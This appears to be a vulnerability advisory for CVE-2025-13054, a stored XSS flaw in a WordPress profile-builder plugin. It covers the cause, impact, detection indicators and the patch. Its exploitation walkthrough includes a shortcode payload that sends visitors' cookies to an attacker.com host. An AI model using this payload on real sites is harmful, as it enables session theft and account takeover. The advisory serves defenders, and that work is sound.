CVE-2025-13054: 
WordPress vulnerability analysis and mitigation

CVE-2025-13054 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress, developed by Cozmoslabs. The flaw exists in all versions up to and including 3.14.8 due to insufficient input sanitization and output escaping on user-supplied attributes within the wppb-embed shortcode. It was published on November 19, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) by Wordfence (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The root cause is insufficient sanitization of user-supplied attributes passed to the wppb-embed shortcode, combined with a lack of proper output escaping when rendering those attributes in generated HTML. An authenticated attacker with at least contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a WordPress post or page; the script executes in the browser of any user who subsequently visits the affected page. No special configuration is required beyond having contributor (or higher) role access on the target WordPress site (Wordfence, Plugin Changeset).

Successful exploitation allows an authenticated contributor-level attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of every visitor's browser session. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of drive-by malware to site visitors. While availability is not directly impacted, the confidentiality and integrity of user data and site content are at risk, and administrator accounts could be compromised if an admin visits an injected page (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-13054. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access (contributor role or above), which limits the attack surface compared to unauthenticated flaws. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify a WordPress site running the User Profile Builder plugin at version 3.14.8 or earlier (e.g., by checking the plugin version in /wp-content/plugins/profile-builder/readme.txt or via WPScan).
2. Obtain contributor access: Register or log in as a user with at least contributor-level privileges on the target WordPress site.
3. Create or edit a post: Navigate to the WordPress editor and create or edit a post/page where shortcodes are rendered.
4. Inject malicious shortcode: Insert the wppb-embed shortcode with a crafted attribute containing a JavaScript payload, for example:

   [wppb-embed attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]

5. Publish the page: Submit or update the post so the malicious content is stored in the database.
6. Trigger execution: When any site visitor (including administrators) loads the injected page, the browser executes the embedded script, potentially exfiltrating session cookies or performing other malicious actions on behalf of the attacker (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing wppb-embed shortcode with unusual attribute values including <script>, javascript:, or encoded variants.
• Database: WordPress wp_posts table entries containing [wppb-embed shortcodes with embedded HTML tags or JavaScript in attribute fields.
• Network: Outbound HTTP requests from site visitors' browsers to unexpected external domains shortly after loading pages containing the wppb-embed shortcode (indicative of script-based data exfiltration).
• File System: No direct file-system artifacts expected, as the payload is stored in the database; however, review recently modified posts/pages for injected shortcode content.

Cozmoslabs released a patched version of the plugin (3.14.9) that addresses the insufficient sanitization and output escaping in the wppb-embed shortcode. Site administrators should update the User Profile Builder plugin to version 3.14.9 or later immediately via the WordPress admin dashboard or the plugin repository. As a temporary workaround, restrict contributor-level user registration or disable the wppb-embed shortcode functionality until the update can be applied. Review existing posts and pages for any injected shortcode payloads (Plugin Changeset, Wordfence).

Wordfence, which discovered and reported the vulnerability, published a threat intelligence entry and coordinated disclosure with the plugin vendor. Sucuri included CVE-2025-13054 in its November 2025 vulnerability patch roundup, highlighting it as one of several WordPress plugin issues requiring prompt attention (Sucuri Blog). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability aggregator reporting.